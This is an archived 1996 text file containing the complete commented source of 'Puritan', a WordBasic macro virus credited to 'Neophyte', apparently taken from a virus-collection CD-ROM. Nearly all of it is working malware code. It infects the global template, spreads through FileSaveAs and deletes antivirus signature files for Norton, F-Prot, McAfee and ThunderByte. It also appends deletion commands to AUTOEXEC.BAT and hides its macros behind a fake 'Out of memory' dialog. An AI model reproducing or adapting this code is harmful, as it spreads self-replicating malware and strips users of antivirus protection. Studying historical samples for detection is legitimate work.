home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / CCTX0297.ZIP / MVUPDAT7.ZIP / PURITAN.ZIP / PURITAN.TXT < prev    next >
Text File  |  1996-12-30  |  10KB  |  265 lines
  1. [ WordMacro. Puritan (1) ]───────────────────────────────────────────────────────
  2.  
  3. ■ VIRUSNAME:      Puritan (1)
  4. ■ SIZE:           6607 Bytes (6 Macros)
  5. ■ ORIGIN:         The Netherlands
  6. ■ AUTHOR:         Neophyte
  7.  
  8. ->Polymorf        No
  9. ->Stealth         Yes
  10. ->Encrypted       Yes, this file not but see virii.zip for encrypted version.
  11. ->Retro           Yes
  12. -----------------------------------------------------------
  13. Macro AutoOpen
  14. -----------------------------------------------------------
  15. Sub MAIN
  16.  On Error Goto Z                        'Error Handler.
  17.  iM = CountMacros(0, 0)                 'Count macros in Normal.Dot
  18.  For i = 1 To M                         'Check if Normal.Dot (Global...
  19.   If M$(i, 0, 0) = "Puritan" Then Y = - 1
  20.   End If                                'Template) is already infected.
  21.  Next i
  22.  
  23.  If Not Y Then                          'If not infected copy all macros...
  24.   F$ = FileName$()                      'from infected file to Normal.Dot...
  25.   S$ = F$ + ":Puritan"                  '(Global Template).
  26.  MacroCopy S$, "Global:Puritan"
  27.   S$ = F$ + ":Rtr"
  28.  MacroCopy S$, "Global:Retro"
  29.   S$ = F$ + ":FSAB"
  30.  MacroCopy S$, "Global:FileSaveAs"
  31.   S$ = F$ + ":FSAB"
  32.  MacroCopy S$, "Global:FSAB"
  33.   S$ = F$ + ":AOB"
  34.  MacroCopy S$, "Global:AOB"
  35.   S$ = F$ + ":ToolsMacro"
  36.  MacroCopy S$, "Global:ToolsMacro"
  37.  End If
  38.  
  39. ToolsMacro .Name = "Retro", .Run, .Show = 0, .Discription = "", .NewName = ""
  40.                                         'After infection run the Retro macro...
  41.                                         'to attack AV software.
  42. Z:
  43.  
  44. End Sub
  45.  
  46. -----------------------------------------------------------
  47. Macro AOB
  48. -----------------------------------------------------------
  49. Sub MAIN
  50.  On Error Goto Z                        'Error Handler.
  51.  iM = CountMacros(0, 0)                 'Count macros in Normal.Dot
  52.  For i = 1 To M                         'Check if Normal.Dot (Global...
  53.   If M$(i, 0, 0) = "Puritan" Then Y = - 1
  54.   End If                                'Template) is already infected.
  55.  Next i
  56.  
  57.  If Not Y Then                          'If not infected copy all macros...
  58.   F$ = FileName$()                      'from infected file to Normal.Dot...
  59.   S$ = F$ + ":Puritan"                  '(Global Template).
  60.  MacroCopy S$, "Global:Puritan"
  61.   S$ = F$ + ":Rtr"
  62.  MacroCopy S$, "Global:Retro"
  63.   S$ = F$ + ":FSAB"
  64.  MacroCopy S$, "Global:FileSaveAs"
  65.   S$ = F$ + ":FSAB"
  66.  MacroCopy S$, "Global:FSAB"
  67.   S$ = F$ + ":AOB"
  68.  MacroCopy S$, "Global:AOB"
  69.   S$ = F$ + ":ToolsMacro"
  70.  MacroCopy S$, "Global:ToolsMacro"
  71.  End If
  72.  
  73. ToolsMacro .Name = "Retro", .Run, .Show = 0, .Discription = "", .NewName = ""
  74.                                         'After infection run the Retro macro...
  75.                                         'to attack AV software.
  76. Z:
  77.  
  78. End Sub
  79.  
  80. -----------------------------------------------------------
  81. Macro FSAB
  82. -----------------------------------------------------------
  83. Sub MAIN
  84.  Dim dlg As FileSaveAs                  'This is just a simple...
  85.  On Error Goto Z                        'FileSaveAs Backup macro,
  86.  F$ = FileName$()                       'it's sort of the same as...
  87.  GetCurValues dlg                       'the concept virus.
  88.  Dialog dlg
  89.  If dlg.Format = 0 Then dlg.Format = 1
  90.   T$ = F$ + ":AutoOpen"
  91.  MacroCopy "Global:AOB", T$
  92.   T$ = F$ + ":Retro"
  93.  MacroCopy "Global:Rtr", T$
  94.   T$ = F$ + ":AOB"
  95.  MacroCopy "Global:AOB", T$
  96.   T$ = F$ + ":FSAB"
  97.  MacroCopy "Global:FSAB", T$
  98.   T$ = F$ + ":Puritan"
  99.  MacroCopy "Global:Puritan", T$
  100.   T$ = F$ + ":ToolsMacro"
  101.  MacroCopy "Global:ToolsMacro", T$
  102.         FileSaveAs dlg
  103. Goto Q
  104.  
  105. Z:
  106.  If Err <> 102 Then
  107.   FileSaveAs dlg
  108.  End If
  109. Q:
  110.  
  111. End Sub
  112.  
  113. -----------------------------------------------------------
  114. Macro Puritan   'Just some dull text
  115. -----------------------------------------------------------
  116. REM    The Style of macro virii was invented by
  117. REM     those with an Open mind...
  118.     
  119. REM    If you have an Open mind To other influences
  120. REM    you will grow out as one of the best...
  121.  
  122.     'Poet of the highest quality ;-) from    
  123.            '--- Neophyte ----
  124.  
  125. -----------------------------------------------------------
  126. Macro Rtr 'For attacking AV products.
  127. -----------------------------------------------------------
  128. Sub MAIN                                
  129.  On Error Goto a                        'Error Handler
  130.   VF$ = "C:\Program Files\Norton AntiVirus\Virscan.Dat"
  131.                                         'VF$ are the scan strings...
  132.                                         'from NAV.
  133.  If Files$(VF$) = "" Then Goto a        'If VF$ not exists goto a.
  134.  SetAttr VF$, 0                         'Else set attributes to none.
  135.  Kill VF$                               'Then delete VF$ (The cool stuff).
  136.                 
  137. a:                                      
  138.  On Error Goto c                        'Error Handler.
  139.   AB$ = "C:\Autoexec.bat"               'AB$ is AutoExec.bat.
  140.  If Files$(AB$) = "" Then Goto c        'If AB$ doesn't exists goto c.
  141.  SetAttr AB$, 0                         'else set attributes to none.
  142.  
  143.  Open AB$ For Append As #1              'And open AB$ for appending.
  144.   Print #1, "@echo off"                 'Put this at the end of the...
  145.   Print #1, "IF exist " + VF$ + " then del " + VF$
  146.                                         'AutoExec.bat.
  147.   Close #1                              'Close the AutoExec.bat.
  148.                                         
  149.  
  150. c:                                      'All this down here should look...
  151.  On Error Goto d                        'familiar, because it's the...
  152.   VF$ = "C:\Program Files\F-Prot95\Fpwm32.dll"
  153.  If Files$(VF$) = "" Then Goto d        'same as above, only with other...
  154.  SetAttr VF$, 0                         'file names.
  155.  Kill VF$
  156.                 
  157. d:
  158.   AB$ = "C:\Autoexec.bat"
  159.  If Files$(AB$) = "" Then Goto f
  160.  SetAttr AB$, 0
  161.  Open AB$ For Append As #1
  162.   Print #1, "IF exist " + VF$ + " then del " + VF$
  163.   Close #1
  164.  
  165.  
  166. f:
  167.  
  168.  On Error Goto g
  169.   VF$ = "C:\Program Files\McAfee\Scan.dat"
  170.  If Files$(VF$) = "" Then Goto g
  171.  SetAttr VF$, 0
  172.  Kill VF$
  173.                 
  174. g:
  175.   AB$ = "C:\Autoexec.bat"
  176.  If Files$(AB$) = "" Then Goto h
  177.  SetAttr AB$, 0
  178.  Open AB$ For Append As #1
  179.   Print #1, "IF exist " + VF$ + " then del " + VF$
  180.   Close #1
  181.  
  182. h:
  183.  
  184.  On Error Goto i
  185.   VF$ = "C:\Tbavw95\Tbscan.sig"
  186.  If Files$(VF$) = "" Then Goto i
  187.  SetAttr VF$, 0
  188.  Kill VF$
  189.                 
  190. i:
  191.   AB$ = "C:\Autoexec.bat"
  192.  If Files$(AB$) = "" Then Goto j
  193.  SetAttr AB$, 0
  194.  Open AB$ For Append As #1
  195.   Print #1, "IF exist " + VF$ + " then del " + VF$
  196.   Close #1
  197.  
  198.  
  199. J:
  200.  
  201. Z:
  202. End Sub
  203.  
  204. -----------------------------------------------------------
  205. Macro ToolsMacro 'copied from NJ's MooNRaiDer virus, only a bit changed.
  206. -----------------------------------------------------------
  207. Sub MAIN
  208.  
  209.  B$ = "Out of memory."                  'B$ is the text Out Of Memory.
  210.  C$ = "WordBasic Err = 7"               'C$ is the text WordBasic Err = 7.
  211. Dim ComboBox1$(0)                       
  212. ComboBox1$(0) = ""                      'ComboBox1$ is empty.
  213. Dim ListBox1$(0)
  214. ListBox1$(0) = ""                       'ListBox1$ is empty.
  215. Dim DropListBox2$(0)
  216. DropListBox2$(0) = "Normal.dot(Global Template)"
  217.                                         'DropListBox2$ contains the text...
  218.                                         'Normal.dot(Global Template).
  219. A:
  220. Begin Dialog UserDialog 442, 320, "Macro"       'Create a dialog called macro.
  221.  CancelButton 290, 38, 141, 21                  'Create a cancelbutton.
  222.   PushButton 290, 14, 141, 21, "Rec&ord...", .D2'Create a pushbutton with...
  223.                                                 'the label "Record..." the...
  224.                                                 '& stands for a _ a short-cut.
  225.   PushButton 290, 72, 141, 21, "&Run", .D3      'Same as above.
  226.  PushButton 290, 97, 141, 21, "&Create", .D4    'Same as above.
  227.  PushButton 290, 125, 141, 21, "&Delete", .D5   'Same as above.
  228.  PushButton 290, 161, 141, 21, "Or&ganizer...", .D6     'Same as above.
  229.  ComboBox 7, 23, 269, 194, ComboBox1$(), .ComboBox1     'Creates an empty...
  230.                                                         'ComboBox.
  231.   Text 6, 223, 93, 13, "Macros &Available In:", .T1     'Some text on the...
  232.   Text 7, 259, 109, 13, "Description:", .T2             'dialog.
  233.   Text 7, 7, 93, 13, "&Macro Name:", .T3
  234.  ListBox 7, 276, 425, 38, ListBox1$(), .LB1             'Creates an empty...
  235.                                                         'ListBox.
  236.  DropListBox 6, 238, 425, 19, DropListBox2$(), .LB2     'Creates a DropListBox...
  237.                                         'containing the text: Normal.Dot(Global Template).                        
  238. End Dialog                              'Ends the dialog.
  239.  
  240. Redim dlg As UserDialog                 'Opens the dialog for setting up...
  241.  x = Dialog(dlg)                        'the things to do when a button is pushed.
  242. Select Case x
  243.  Case 0                                 'If the Cancel button is pushed...
  244.   Cancel                                'just cancel the dialog.
  245.  Case 1
  246.   MsgBox B$, C$, 48                     'If another button is pushed...
  247.   Goto A                                'Display a message box containing...
  248.  Case 2                                 'the text:"Out Of Memory." and...
  249.   MsgBox B$, C$, 48                     'has as title:"WordBasic Err = 7".
  250.   Goto A
  251.  Case 3
  252.   MsgBox B$, C$, 48
  253.   Goto A
  254.  Case 4
  255.   MsgBox B$, C$, 48
  256.   Goto A
  257.  Case 5
  258.   MsgBox B$, C$, 48
  259.   Goto A
  260.  End Select
  261. End Sub
  262.  
  263. ------------------------The End-------------------------
  264.                     --- Neophyte ---
  265.